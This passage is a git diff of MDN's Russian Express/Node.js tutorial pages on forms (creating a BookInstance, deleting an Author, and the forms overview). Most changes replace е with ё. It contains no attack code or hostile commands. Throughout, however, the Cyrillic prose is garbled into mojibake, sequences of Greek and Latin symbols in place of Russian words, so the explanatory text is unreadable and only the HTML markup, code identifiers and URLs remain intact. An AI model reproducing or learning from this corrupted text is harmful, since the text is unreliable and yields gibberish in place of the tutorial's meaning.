Π½Π° страницу свСдСний.</p>
+<p>ЗапуститС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈ ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅Β  <a class="external external-icon" href="http://localhost:3000/" rel="noopener">http://localhost:3000/</a>. Π—Π°Ρ‚Π΅ΠΌ Π²Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ ссылку <em>Create new book instance (copy)</em>. Если всС настроСно ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ, ваш сайт Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½Π°Β ΡΠΊΡ€ΠΈΠ½ΡˆΠΎΡ‚Π΅. ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚Π΅ Π²Π°Π»ΠΈΠ΄Π½Ρ‹ΠΉ <code>BookInstance</code>, ΠΎΠ½ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ сохранён, ΠΈ Π²Ρ‹ ΠΏΠΎΠΏΠ°Π΄Ρ‘Ρ‚Π΅ Π½Π° страницу свСдСний.</p>
<p><img alt="" src="https://mdn.mozillademos.org/files/14490/LocalLibary_Express_BookInstance_Create_Empty.png" style="display: block; height: 554px; margin: 0px auto; width: 1000px;"></p>
diff --git a/files/ru/learn/server-side/express_nodejs/forms/delete_author_form/index.html b/files/ru/learn/server-side/express_nodejs/forms/delete_author_form/index.html
index a92d787ec6..f03565426b 100644
--- a/files/ru/learn/server-side/express_nodejs/forms/delete_author_form/index.html
+++ b/files/ru/learn/server-side/express_nodejs/forms/delete_author_form/index.html
@@ -5,7 +5,7 @@ translation_of: Learn/Server-side/Express_Nodejs/forms/Delete_author_form
---
<p>Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ, ΠΊΠ°ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ страницу для удалСния ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² <code>Author</code>.</p>
-<p>Как описано Π² Ρ€Π°Π·Π΄Π΅Π»Π΅Β  <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/forms#form_design">form design</a>,  наша стратСгия Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΡΡΡ‹Π»Π°ΡŽΡ‚ΡΡ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹(Π² этом случаС это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π½Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΠΌ <code>Author</code> Π±Ρ‹Ρ‚ΡŒ ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΌ, Ссли Π½Π° Π½Π΅Π³ΠΎ ссылаСтся  <code>Book</code>). Π‘ Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Ρ„ΠΎΡ€ΠΌΠ° Π΄ΠΎΠ»ΠΆΠ½Π° ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€Π΄ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π½Π΅Ρ‚ Π½ΠΈΠΊΠ°ΠΊΠΈΡ… связанных ΠΊΠ½ΠΈΠ³, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Π°Π²Ρ‚ΠΎΡ€ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π°Π»Π΅Π½. Если Π΅ΡΡ‚ΡŒ связанныС ΠΊΠ½ΠΈΠ³ΠΈ, Ρ‚ΠΎ ΠΎΠ½ΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ ΠΈ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ΄Π°Π»Π΅Π½Ρ‹ Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊΒ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π°Π»Π΅Π½ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>Author</code>.</p>
+<p>Как описано Π² Ρ€Π°Π·Π΄Π΅Π»Π΅Β  <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/forms#form_design">form design</a>,  наша стратСгия Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΡΡΡ‹Π»Π°ΡŽΡ‚ΡΡ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹(Π² этом случаС это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π½Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΠΌ <code>Author</code> Π±Ρ‹Ρ‚ΡŒ ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΌ, Ссли Π½Π° Π½Π΅Π³ΠΎ ссылаСтся  <code>Book</code>). Π‘ Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Ρ„ΠΎΡ€ΠΌΠ° Π΄ΠΎΠ»ΠΆΠ½Π° ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€Π΄ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π½Π΅Ρ‚ Π½ΠΈΠΊΠ°ΠΊΠΈΡ… связанных ΠΊΠ½ΠΈΠ³, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Π°Π²Ρ‚ΠΎΡ€ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π°Π»Ρ‘Π½. Если Π΅ΡΡ‚ΡŒ связанныС ΠΊΠ½ΠΈΠ³ΠΈ, Ρ‚ΠΎ ΠΎΠ½ΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ ΠΈ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ΄Π°Π»Π΅Π½Ρ‹ Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊΒ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π°Π»Ρ‘Π½ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>Author</code>.</p>
<h2 class="highlight-spanned" id="Controllerβ€”get_route">Controllerβ€”get route</h2>
@@ -32,7 +32,7 @@ exports.author_delete_get = function(req, res, next) {
};</code></pre>
-<p>ΠšΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚Β id экзСмпляра <code>Author</code> для удалСния ΠΈΠ· ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° URLΒ  (<code>req.params.id</code>). Он ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄Β Β <code>async.parallel()</code> , Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ запись Π°Π²Ρ‚ΠΎΡ€Π° ΠΈ ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½ΠΎ вс связанныС ΠΊΠ½ΠΈΠ³ΠΈ. Когда ΠΎΠ±Π° ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° Π°Π²Π΅Ρ€ΡˆΠΈΠ½Ρ‹, ΠΎΠ½ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΡ‚ страницу  <code><strong>author_delete</strong></code><strong>.pug</strong>, ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ значСния для <code>title</code>, <code>author</code>, ΠΈΒ <code>author_books</code>.</p>
+<p>ΠšΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚Β id экзСмпляра <code>Author</code> для удалСния ΠΈΠ· ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° URLΒ  (<code>req.params.id</code>). Он ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄Β Β <code>async.parallel()</code> , Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ запись Π°Π²Ρ‚ΠΎΡ€Π° ΠΈ ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½ΠΎ вс связанныС ΠΊΠ½ΠΈΠ³ΠΈ. Когда ΠΎΠ±Π° ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° Π°Π²Π΅Ρ€ΡˆΠΈΠ½Ρ‹, ΠΎΠ½ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΡ‚ страницу  <code><strong>author_delete</strong></code><strong>.pug</strong>, ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ значСния для <code>title</code>, <code>author</code>, ΠΈΒ <code>author_books</code>.</p>
<div class="note">
<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> Если <code>findById()</code><strong>Β </strong>Π½Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ², Ρ‚ΠΎ Π°Π²Ρ‚ΠΎΡ€ отсутствуСт Π² Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ…. Π’ этом случаС ΡƒΠ΄Π°Π»ΡΡ‚ΡŒ Π½Π΅Ρ‡Π΅Π³ΠΎ, поэтому сразу Π²Ρ‹Π²ΠΎΠ΄ΠΈΠΌ список всСх Π°Π²Ρ‚ΠΎΡ€ΠΎΠ².</p>
@@ -77,10 +77,10 @@ exports.author_delete_post = function(req, res, next) {
});
};</code></pre>
-<p>Π‘Π½Π°Ρ‡Π°Π»Π° ΠΌΡ‹ провСряСм, Ρ‡Ρ‚ΠΎ Π±Ρ‹Π» прСдоставлСн id (ΠΎΠ½ отправляСтся Ρ‡Π΅Ρ€Π΅Π· ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ Ρ‚Π΅Π»Π° Ρ„ΠΎΡ€ΠΌΡ‹, Π° Π½Π΅ Ρ‡Π΅Ρ€Π΅Π· Π²Π΅Ρ€ΡΠΈΡŽ Π² URL). Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ Π°Π²Ρ‚ΠΎΡ€Π° ΠΈ связанныС с Π½ΠΈΠΌ ΠΊΠ½ΠΈΠ³ΠΈ Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ для ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Π° <code>GET</code>. Если ΠΊΠ½ΠΈΠ³ Π½Π΅Ρ‚, Ρ‚ΠΎ удаляСм ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π°Π²Ρ‚ΠΎΡ€Π° ΠΈ пСрСнаправляСм Π² список всСх Π°Π²Ρ‚ΠΎΡ€ΠΎΠ². Если Π΅ΡΡ‚ΡŒ Π΅Ρ‰Π΅ ΠΊΠ½ΠΈΠ³ΠΈ, Ρ‚ΠΎ ΠΌΡ‹ просто пСрСрисовываСм Ρ„ΠΎΡ€ΠΌΡƒ, пСрСдавая Π°Π²Ρ‚ΠΎΡ€Π° ΠΈ список ΠΊΠ½ΠΈΠ³, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½ΡƒΠΆΠ½ΠΎ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ.</p>
+<p>Π‘Π½Π°Ρ‡Π°Π»Π° ΠΌΡ‹ провСряСм, Ρ‡Ρ‚ΠΎ Π±Ρ‹Π» прСдоставлСн id (ΠΎΠ½ отправляСтся Ρ‡Π΅Ρ€Π΅Π· ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ Ρ‚Π΅Π»Π° Ρ„ΠΎΡ€ΠΌΡ‹, Π° Π½Π΅ Ρ‡Π΅Ρ€Π΅Π· Π²Π΅Ρ€ΡΠΈΡŽ Π² URL). Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ Π°Π²Ρ‚ΠΎΡ€Π° ΠΈ связанныС с Π½ΠΈΠΌ ΠΊΠ½ΠΈΠ³ΠΈ Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ для ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Π° <code>GET</code>. Если ΠΊΠ½ΠΈΠ³ Π½Π΅Ρ‚, Ρ‚ΠΎ удаляСм ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π°Π²Ρ‚ΠΎΡ€Π° ΠΈ пСрСнаправляСм Π² список всСх Π°Π²Ρ‚ΠΎΡ€ΠΎΠ². Если Π΅ΡΡ‚ΡŒ Π΅Ρ‰Ρ‘ ΠΊΠ½ΠΈΠ³ΠΈ, Ρ‚ΠΎ ΠΌΡ‹ просто пСрСрисовываСм Ρ„ΠΎΡ€ΠΌΡƒ, пСрСдавая Π°Π²Ρ‚ΠΎΡ€Π° ΠΈ список ΠΊΠ½ΠΈΠ³, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½ΡƒΠΆΠ½ΠΎ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ.</p>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong>Β ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π»ΠΈ Π²Ρ‹Π·ΠΎΠ² <code>findbyid ()</code> ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, ΠΈ Ссли Π½Π΅Ρ‚, Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ список всСх Π°Π²Ρ‚ΠΎΡ€ΠΎΠ².Для краткости ΠΌΡ‹ оставили ΠΊΠΎΠ΄ ΠΊΠ°ΠΊ Π΅ΡΡ‚ΡŒ Π²Ρ‹ΡˆΠ΅ (ΠΎΠ½ всС Ρ€Π°Π²Π½ΠΎ Π²Π΅Ρ€Π½Π΅Ρ‚ список Π°Π²Ρ‚ΠΎΡ€ΠΎΠ², Ссли id Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°ΠΉΠ΄Π΅Π½, Π½ΠΎ это ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚ послС <code>findByIdAndRemove()</code>).</p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong>Β ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π»ΠΈ Π²Ρ‹Π·ΠΎΠ² <code>findbyid ()</code> ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, ΠΈ Ссли Π½Π΅Ρ‚, Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ список всСх Π°Π²Ρ‚ΠΎΡ€ΠΎΠ².Для краткости ΠΌΡ‹ оставили ΠΊΠΎΠ΄ ΠΊΠ°ΠΊ Π΅ΡΡ‚ΡŒ Π²Ρ‹ΡˆΠ΅ (ΠΎΠ½ всС Ρ€Π°Π²Π½ΠΎ Π²Π΅Ρ€Π½Ρ‘Ρ‚ список Π°Π²Ρ‚ΠΎΡ€ΠΎΠ², Ссли id Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°ΠΉΠ΄Π΅Π½, Π½ΠΎ это ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚ послС <code>findByIdAndRemove()</code>).</p>
</div>
<h2 class="highlight-spanned" id="View">View</h2>
@@ -128,7 +128,7 @@ block content
<p>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ элСмСнт управлСния <code>Delete</code> Π² прСдставлСниС свСдСний ΠΎΠ± Π°Π²Ρ‚ΠΎΡ€Π΅ (страница свСдСний-Ρ…ΠΎΡ€ΠΎΡˆΠ΅Π΅ мСсто для удалСния записи).</p>
<div class="note">
-<p><strong>Note:</strong> Π’ ΠΏΠΎΠ»Π½ΠΎΠΌ объСмС ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ Π±ΡƒΠ΄Π΅Ρ‚ доступСн Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ. Однако Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Ρƒ нас Π½Π΅Ρ‚ систСмы Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΠΈ!</p>
+<p><strong>Note:</strong> Π’ ΠΏΠΎΠ»Π½ΠΎΠΌ ΠΎΠ±ΡŠΡ‘ΠΌΠ΅ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ Π±ΡƒΠ΄Π΅Ρ‚ доступСн Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ. Однако Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Ρƒ нас Π½Π΅Ρ‚ систСмы Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΠΈ!</p>
</div>
<p>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅Β <strong>author_detail.pug</strong>Β ΠΈ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ строки Π²Π½ΠΈΠ·Ρƒ.</p>
diff --git a/files/ru/learn/server-side/express_nodejs/forms/index.html b/files/ru/learn/server-side/express_nodejs/forms/index.html
index 6042d57b17..8048ad020b 100644
--- a/files/ru/learn/server-side/express_nodejs/forms/index.html
+++ b/files/ru/learn/server-side/express_nodejs/forms/index.html
@@ -30,12 +30,12 @@ translation_of: Learn/Server-side/Express_Nodejs/forms
<p><a href="/en-US/docs/Web/Guide/HTML/Forms">HTML Ρ„ΠΎΡ€ΠΌΠ°</a>Β - это Π³Ρ€ΡƒΠΏΠΏΠ° ΠΈΠ· ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… ΠΏΠΎΠ»Π΅ΠΉ / Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ΠΎΠ² Π½Π° Π²Π΅Π±-страницС, которая ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для сбора ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Π½Π° сСрвСр. Π€ΠΎΡ€ΠΌΡ‹ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ собой Π³ΠΈΠ±ΠΊΠΈΠΉ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ для сбора Π΄Π°Π½Π½Ρ‹Ρ…, Π²Π²ΠΎΠ΄ΠΈΠΌΡ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ подходящиС Π²Ρ…ΠΎΠ΄Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ Ρ„ΠΎΡ€ΠΌ, доступныС для Π²Π²ΠΎΠ΄Π° Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² Π΄Π°Π½Π½Ρ‹Ρ…-тСкстовыС поля, Ρ„Π»Π°ΠΆΠΊΠΈ, ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Ρ‚Π΅Π»ΠΈ, срСдства Π²Ρ‹Π±ΠΎΡ€Π° Π΄Π°Ρ‚Ρ‹ ΠΈ Ρ‚. Π΄. Π€ΠΎΡ€ΠΌΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ бСзопасным способом ΠΎΠ±ΠΌΠ΅Π½Π° Π΄Π°Π½Π½Ρ‹ΠΌΠΈ с сСрвСром, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ Π² запросах <code>POST</code> с Π·Π°Ρ‰ΠΈΡ‚ΠΎΠΉ ΠΎΡ‚ ΠΏΠΎΠ΄Π΄Π΅Π»ΠΊΠΈ мСТсайтовых запросов.</p>
-<p>Π Π°Π±ΠΎΡ‚Π° с Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ слоТной! Π Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΡƒ Π½ΡƒΠΆΠ½ΠΎ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒΒ HTML ΠΊΠΎΠ΄ для Ρ„ΠΎΡ€ΠΌ,Β Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΡŽ ΠΈΒ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ Π°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ Π½Π° сСрвСрС (ΠΈ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Ρ‚Π°ΠΊΠΆΠ΅ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅), ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ Ρ„ΠΎΡ€ΠΌΡƒ с сообщСниями ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ…, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠΎΠ±Ρ‰ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ ΠΎ Π»ΡŽΠ±Ρ‹Ρ… нСдопустимых полях, ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ΠΈ Π±Ρ‹Π»ΠΈ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹, ΠΈ, Π½Π°ΠΊΠΎΠ½Π΅Ρ†, ΠΊΠ°ΠΊΠΈΠΌ-Ρ‚ΠΎ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΎΡ‚Π²Π΅Ρ‚ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ ΡƒΡΠΏΠ΅ΡˆΠ΅Π½.</p>
+<p>Π Π°Π±ΠΎΡ‚Π° с Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ слоТной! Π Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΡƒ Π½ΡƒΠΆΠ½ΠΎ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒΒ HTML ΠΊΠΎΠ΄ для Ρ„ΠΎΡ€ΠΌ,Β Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΡŽ ΠΈΒ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ Π°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ Π½Π° сСрвСрС (ΠΈ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Ρ‚Π°ΠΊΠΆΠ΅ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅), ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ Ρ„ΠΎΡ€ΠΌΡƒ с сообщСниями ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ…, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠΎΠ±Ρ‰ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ ΠΎ Π»ΡŽΠ±Ρ‹Ρ… нСдопустимых полях, ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ 